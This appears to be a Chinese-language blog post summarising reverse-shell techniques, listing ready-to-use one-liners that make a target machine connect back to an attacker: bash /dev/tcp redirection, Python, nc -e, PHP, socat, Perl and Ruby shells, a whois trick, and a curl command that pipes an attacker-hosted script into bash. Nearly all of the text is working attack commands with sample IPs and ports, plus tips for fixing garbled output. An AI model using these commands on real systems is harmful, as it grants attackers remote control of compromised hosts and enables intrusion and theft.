反弹shell总结

反弹shell总结

反弹shell:控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端

1、bash反弹。 bash -i >& /dev/tcp/ip/port 0>&1 一直没有成功,后来查了一下。我的kali是debian默认是没开bash的网络重定向选项。

2、python反弹shell。攻击机监听:nc -lvvp 4455 反弹成功后会有乱码,但不影响执行命令。

1
2
3
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"//这里的ip为攻击机的内网ip,port为攻击机监听的端口

3、nc反弹shell:靶机执行 nc ip port -e /bin/bash

4、php反弹shell:靶机执行

1
2
3
php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port");'
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.30/4444 0>&1");'
php -r '$sock=fsockopen("192.168.0.30",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

第一个可以成功反弹,但是执行命令没有回显。第二个和第三个反弹之后会有乱码,但是不影响执行命令。用linux作为攻击机就不会有乱码。

5、curl反弹shell:kali开启apache服务。service apache2 start,然后把bash命令写入一个html文件里面。靶机执行:curl ip/bash.html|bash

6、whois反弹shell:whois -h ip -p port `要执行的命令` 。这个命令只能执行一个指令。

7、socat反弹shell:socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:172.20.10.2:8888。反弹出来的会有乱码。攻击机是linux的话就不会。

8、Perl反弹shell:

1
2
3
perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
;if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'

9、ruby反弹shell:ruby -rsocket -e’f=TCPSocket.open(“192.168.2.102”,4444).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’